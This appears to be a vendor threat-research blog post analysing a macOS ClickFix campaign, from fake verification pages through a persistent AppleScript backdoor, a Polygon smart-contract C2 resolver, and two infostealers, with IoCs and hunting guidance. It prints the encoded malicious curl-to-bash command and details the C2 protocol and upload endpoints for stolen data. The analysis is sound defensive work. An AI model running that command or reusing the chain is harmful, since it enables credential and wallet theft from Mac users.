Malware analysis at machine speed. From suspicious sample to actionable intelligence in minutes. Discover Caronte
  • Malware Analysis
  • Threat Intelligence
  • Reverse Engineering

Bazinga: From a Fake CAPTCHA to a macOS Backdoor with a Polygon-Based C2 Resolver

A fake verification page reached through bazinga.biz delivered a ClickFix command that installed a persistent macOS backdoor. The loader resolved its command server from a Polygon smart contract. Live re-queries of the same campaign token showed a stable backdoor and stealers that changed SHA-256 every 15 minutes.

Giovanni Braccini

Giovanni Braccini

Researcher at Beelzebub Labs

Bazinga: From a Fake CAPTCHA to a macOS Backdoor with a Polygon-Based C2 Resolver

TL;DR

  • Repeated visits to bazinga.biz produced advertising pages or fake verification screens branded CloudKey, SentinelGate, and Meridian. The observed verification pages delivered the same ClickFix command.
  • That command downloaded update.sh, which installed a persistent LaunchAgent and an obfuscated AppleScript loader.
  • The loader does not contain a fixed C2 domain. It reads the current hostname from Polygon contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 via a read-only eth_call. On September 14 the contract returned jse8x92s[.]me. It still did on September 16.
  • The server delivered a backdoor and two infostealers. Together they steal a validated macOS password, browser sessions, Keychain data, cryptocurrency wallets, Telegram data, notes, and local files.
  • Re-fetching the same campaign token every 15 minutes for 90 minutes left bmodule and the ledger stub unchanged. smodule and lmodule returned a new SHA-256 on every successful poll.
  • Blocking today’s C2 hostname is not enough. Hunt the contract, the LaunchAgent, the txid= POST body, and the fallback IP 62.60.226[.]50. Do not treat stealer file hashes as durable indicators.

From Bazinga to ClickFix

I visited bazinga.biz after hearing the address mentioned in The Big Bang Theory. The browser redirected to a page branded CloudKey with an “I’m not a robot” checkbox. Clicking it revealed four steps: open Spotlight, launch Terminal, paste, and press Return.

Later visits produced advertising pages or verification screens branded SentinelGate and Meridian. Meridian showed a tracking-style reference 34YS-455D. The designs changed. After the checkbox click, each verification page delivered the same initial shell command.

CloudKey before and after its checkbox click alongside SentinelGate and Meridian verification pages
ClickFix pages observed through bazinga.biz. CloudKey revealed Terminal instructions after the checkbox click. SentinelGate and Meridian delivered the same command.

Each of those panels tells the visitor to paste into Terminal. The shared command is:

bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9icmVhZC5hcmtvbWV4ZGVzYXJyb2xsb3MuY29tL3VwZGF0ZS5zaCcgfCBiYXNo" | base64 -d)

Decoded:

curl -s 'hxxps://bread[.]arkomexdesarrollos[.]com/update.sh' | bash

SHA-256 of the submitted one-liner: 3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60.

Caronte Reconstructed the Chain

I submitted the command to Caronte. From that single line it downloaded update.sh, decoded the AppleScript layers, extracted the LaunchAgent, resolved the live command server on Polygon, and followed the modules returned by the backdoor.

Recovered chain from the shell command to the Polygon resolver, backdoor and task modules
From the ClickFix command to persistence, C2 resolution, the backdoor, and its task modules.

The chain is linear until the backdoor starts polling. From there the server selects a task and returns the corresponding module.

From the Command to Persistence

The retrieved script is 17,813 bytes. It decodes an AppleScript installer and executes it with osascript. The installer writes and loads this LaunchAgent:

~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist

RunAtLoad starts it at login and KeepAlive restarts it when it exits. Its program arguments contain a 12,408-character Base64 loader that decodes into another AppleScript. Most strings inside that stage are assembled character by character to frustrate simple text searches.

Caronte report for update.sh showing the persistent loader and Polygon resolver
Caronte connected update.sh to the LaunchAgent installer and the Polygon resolver.

Polygon Resolves the Command Server

The loader does not contain a fixed command-server domain. It asks a Polygon smart contract for the current hostname:

Network:          Polygon
Contract:         0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Getter selector:  0x2686ecea
Setter selector:  0xd75d1ba6

It sends the read-only eth_call through four public RPC services: polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, and tenderly.rpc.polygon.community. These are legitimate providers used here as a configuration lookup.

On September 14 the contract returned an encoded string that decoded to:

6a736538783932732e6d65  ->  jse8x92s[.]me

The contract is a directory. Scripts and stolen data still travel through ordinary web servers, but the operator can change the hostname stored on Polygon without replacing the loader. Guardio Labs named this class of trick EtherHiding in 2023. The same Polygon contract and getter appear in earlier macOS ClickFix research by NetbyteSEC, PHK, and Have I Been Squatted.

The Backdoor

After resolving the hostname, the loader requests bmodule with this capture’s campaign token:

txid=962d87b1d1f7791ede110c2fd8061dc7&bmodule

The token is a 32-hex customer or build identifier. Other public analyses of the same contract used different values in the same txid= slot, including 8a4e280e1159833ede425a1306c2efe5.

The server returned a 32,934-byte AppleScript backdoor. It collects the username and hardware UUID, resolves the C2 again, and displays a fake System Preferences password prompt:

Please enter password for continue:

It checks the entered password with dscl . authonly and repeats the dialog until validation succeeds. The password is stored in ~/.passphrase. The campaign token is stored in ~/.txid. The backdoor also runs tccutil reset All, clearing existing privacy decisions so macOS can prompt again.

After enrollment, a 60-second loop requests tasks using the host identifiers and the campaign token. The dispatcher maps the operator’s task word to a module fetch:

TaskModuleResult in this capture
runloadersmodule206,681-byte credential, wallet, and file stealer
runlightlmoduleStealer identifying itself as Essential macOS Stealer, NITRO2
replacerledger34-byte script that redirects shell output to /dev/null
openshellshellEmpty HTTP body

The task names are stable. The bytes behind smodule and lmodule are not. Other captures of this kit have served a Ledger Wallet phishing disk image for ledger and a Mach-O shell agent for openshell. In this capture, and in every live re-query on September 16, those two fetches returned a stub and an empty body.

Caronte report for the extracted C2 AppleScript module
The backdoor report shows its Polygon resolver, password theft, and task modules.

Two Infostealers

smodule is a heavily obfuscated AppleScript infostealer. It collects:

  • the username, macOS version, hardware UUID, and public IP address;
  • the password previously stored in ~/.passphrase;
  • browser passwords, cookies, and login databases;
  • ~/Library/Keychains/login.keychain-db;
  • data from more than 50 cryptocurrency wallet applications;
  • Apple Notes, Telegram Desktop data, and selected Desktop and Documents files.

It stages the data under /tmp/ccd01d90608c2dcfce644c41502a7691789402688/ and uploads it with curl to hxxps://jse8x92s[.]me/upload.php. If that fails, it uses hxxp://62.60.226[.]50/upload.php.

lmodule is a second infostealer from the same loop. It contains these build markers:

Essential macOS Stealer
Build: NITRO2

It targets browser profiles, Keychain material, Telegram data, desktop wallets, and more than 170 wallet and password-manager browser extensions. It stages the collection in /tmp, creates an archive with ditto, and uses the same primary and fallback upload endpoints.

NetbyteSEC associated this modular architecture with Atomic macOS Stealer (AMOS). Live Caronte analysis of both smodule and lmodule recovered the same Essential macOS Stealer / NITRO2 banner. Public tracking of the same Polygon kit also uses the name Phexia. Caronte assessed a probable Phexia relationship from the backdoor’s behavior.

How the C2 Talks

The rotating hostname is only a pointer. Every stage after Polygon is ordinary HTTP to / on that host, with application/x-www-form-urlencoded bodies. There is no custom binary framing and no extra encryption on the fallback path.

DirectionRequestResponse
Loader → C2POST / txid=<32 hex>&bmoduleAppleScript backdoor, piped into osascript
Backdoor → C2 pollPOST / uuid=<IOPlatformUUID>&username=<user>&txid=<txid>&task every 60 secondsA task word such as runloader, runlight, replacer, or openshell
Task → modulePOST / txid=<txid>&smodule or &lmodule or &ledger, or uuid=&username=&txid=&shellStealer AppleScript, a stub, or a shell helper
Stealer → C2POST /upload.php multipart archiveEmpty HTTP 200 in this check
FallbackSame /upload.php on hxxp://62.60.226[.]50Same empty 200

The txid value is a campaign or customer token, not a victim identifier. This capture used 962d87b1d1f7791ede110c2fd8061dc7. Public write-ups of the same contract used 8a4e280e1159833ede425a1306c2efe5 and c8a845e30830c48f753d01aa38927dc0. That is a lower bound on distinct panel customers, not on infected Macs. Host identity on the wire is the hardware UUID plus the local username. Those values are not listed by an unauthenticated request.

Earlier analysis of this kit also documented a Ledger phishing page at /ledger/index.php?txid= and a WebSocket shell agent at ws://62.60.226[.]50:1337/ws/agent. On 16 September 2026, https://jse8x92s[.]me/ledger/index.php returned 404 and TCP/1337 on the fallback IP was closed.

The bot protocol does not expose a victim roster. GET / on the live hostname and on 62.60.226[.]50 returned an empty 200 text/plain body. GET /upload.php returned an empty 200. There is no public index, so a victim count cannot be read from the C2 without operator credentials.

Live: the stealers rotate, the backdoor does not

On 16 September 2026 I re-requested the four module selectors on txid=962d87b1d1f7791ede110c2fd8061dc7 against POST / on jse8x92s[.]me, every 15 minutes for 90 minutes. The Polygon getter still returned that hostname. The campaign token still received a backdoor.

SelectorOver seven polls, 12:23–13:53 UTC
bmoduleIdentical 32,934-byte AppleScript. SHA-256 a9383cea… matches this capture.
ledgerIdentical 34-byte stub. SHA-256 ef94799c… matches this capture.
smoduleA new SHA-256 on every successful poll. Bodies were 203–207 KB. At 13:38 UTC the C2 returned an empty HTTP 200, then a 205 KB body at 13:53.
lmoduleA new SHA-256 on every poll. Bodies were 168–175 KB. Never empty.

The hostname on Polygon is the slow pointer. It had not moved since the September 10 write, and it did not move during this window. The stealers moved anyway. Six distinct non-empty smodule bodies and seven distinct lmodule bodies arrived without a contract update and without a change to bmodule.

That is packing, not a C2 migration. Static analysis of the live bodies recovered the same NITRO2 banner, the same txid, and the same upload endpoints; every string is rebuilt from character id concatenations, so the SHA-256 changes while the family does not. A hash of smodule from the original Caronte capture was already a different artifact by the first live poll the next day. Hunt the txid= POST, not yesterday’s stealer SHA-256.

The C2 History on Polygon

Polygon’s public transaction history exposes earlier hostnames written to the resolver contract. Values around this capture:

Transaction time, UTCDecoded value
2026-07-21 06:22:0667sixcebeh[.]surf
2026-07-31 16:28:45stv4ec5[.]shop
2026-08-12 11:42:16vg5sgxv[.]lol
2026-08-31 17:11:34machine628[.]baby
2026-09-05 23:06:12nsi8kw1r[.]lol
2026-09-07 09:50:46d9mjs[.]sbs
2026-09-10 19:16:34jse8x92s[.]me

The September 10 transaction is a nested redeemDelegations call. The hostname sits in inner setter calldata. The sender is wallet 0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3, which issues setServerURL (0xd75d1ba6). The contract read on September 14 returned the same jse8x92s[.]me value.

This table is an excerpt of the later rotations, not the full on-chain history.

A DNS and HTTP check on 16 September 2026 showed how disposable those names are. Of twenty operational hostnames written to the contract since May, seventeen no longer resolve. Three still have DNS:

HostResolution on 16 SeptemberHTTP
jse8x92s[.]meCloudflare 188.114.96[.]7 / 188.114.97[.]7Empty 200 on / and /upload.php. TLS certificate issued 9 September by Google Trust Services, one day before the on-chain write.
smdh7[.]surfSame Cloudflare anycast addressesCloudflare 403. Certificate still valid, origin no longer serving the panel.
bduwih8[.]proCloudflare 104.21.61[.]3Cloudflare 403.

The durable node is not a domain. 62.60.226[.]50 still answers on TCP/80 with Apache/2.4.58 (Ubuntu). WHOIS places the address in 62.60.226.0/24, netname FEMOITSOLUTIONS-DE-RENTNET, AS214351 FEMO IT SOLUTIONS LIMITED, geolocated in Frankfurt. TCP/443 and TCP/1337 were closed. Stealers in this family POST loot to that IP when the current Cloudflare hostname fails, so burning jse8x92s[.]me does not burn the dropzone.

Detection and Response

High-value detections combine several actions from the chain:

Hunt forWhy it matters
A user LaunchAgent named com. plus 16 random lowercase letters, with a long Base64 argument invoking bash or osascriptFinds the persistent loader
curl output piped into bash, sh, or osascriptFinds the download-and-execute transitions
eth_call to 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 or selector 0x2686ecea from a shell or AppleScript processFinds the Polygon resolver
HTTP POST of txid= plus bmodule / smodule / lmodule / task / upload.php to a newly resolved host, or to 62.60.226[.]50Finds live C2 even when stealer bytes change every poll
A stable bmodule hash with rotating smodule / lmodule hashes on the same txidDistinguishes a fixed backdoor from perishable stealers
Repeated dscl . authonly, a password dialog, and creation of ~/.passphraseFinds the password theft flow
Browser and Keychain reads followed by ditto under /tmp and a curl uploadFinds collection and exfiltration

osquery for the two dotfiles this backdoor writes:

SELECT path FROM file
WHERE path LIKE '/Users/%/.passphrase'
   OR path LIKE '/Users/%/.txid';

If these behaviors appear on a Mac, isolate it, unload and remove the LaunchAgent, revoke browser sessions, and rotate credentials from a clean device. Review wallet application data and move exposed funds to newly generated keys. Block the current C2 and upload endpoints, then hunt for the contract address and the operator wallet because the hostname can change.

Indicators of Compromise

IndicatorRole
bazinga[.]bizObserved entry domain
bread[.]arkomexdesarrollos[.]com/update.shInitial payload URL
jse8x92s[.]meC2 hostname on 14 and 16 September
hxxps://jse8x92s[.]me/upload.phpPrimary upload endpoint
hxxp://62.60.226[.]50/upload.phpFallback upload endpoint
62.60.226[.]50Origin / fallback host, AS214351
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0Polygon resolver contract
0x2686eceaGetter selector
0xd75d1ba6Setter selector (setServerURL)
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3Operator wallet writing hostnames
polygon.drpc.orgAbused public Polygon RPC
polygon.publicnode.comAbused public Polygon RPC
polygon-mainnet.gateway.tatum.ioAbused public Polygon RPC
tenderly.rpc.polygon.communityAbused public Polygon RPC
962d87b1d1f7791ede110c2fd8061dc7Campaign token
~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plistPersistence path
~/.passphrase / ~/.txidPassword and campaign-token files

The four RPC hosts are legitimate services. The signal is a non-browser process calling eth_call against that contract.

File Hashes

Functional roleSHA-256
Submitted ClickFix command3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60
update.sh79126547a08a785eb408f9a89660b7954ffc8ec124d8c6173851cf6609b35b28
Persistence installer31dc215220db6e5564730c1c909865ae1301e44c7ecc33973901401b0793144d
LaunchAgent loaderc236a4db85d709e89184752f65102349f6a272befd57741cf35b9236028daf08
Separately extracted resolvere5634ec22a0a2db056eff1999b2d31511f8eb01c37ed57dd10f1b70f476e96e0
Backdoor module (bmodule), still served on 16 Septembera9383cea53d6c6c3e4a764d23fbd0c1ccf7c010f20624860fed85faf8de71136
smodule from the 14 September captureb0536db10a710b8627ac701d2c28d8717412a51c4093145031d8c8217c014496
lmodule from the 14 September captureed943056669a5e2cd6f92ff47f1855ca10d66ec6e50ea22076c7b5c7aaacb170
ledger stub, still served on 16 Septemberef94799c12f00235920699106e27d9a45595549845724f3c9dede02aa5b96a06

smodule and lmodule hashes from the live window are omitted. Each successful 15-minute poll produced a different digest. Those values are evidence of rotation, not indicators that will still match tomorrow.

Conclusion

A novelty domain led to a fake verification page, but the command behind it opened a complete infection chain: persistence at login, Polygon as a changeable C2 directory, theft of a validated macOS password, and a task loop that delivers two infostealers.

The hostname in the directory will move. During 90 minutes on 16 September it did not. The stealers did, on every poll, while the backdoor and the ledger stub stayed put. Hunt the contract, the LaunchAgent, and the txid= POST body. A hash of today’s smodule is already stale.

References

Bring one high-friction workflow. Leave with a scoped proof of value.

Choose the smallest useful deployment
Define scope, approvals, and evidence requirements
Connect the output to your existing security stack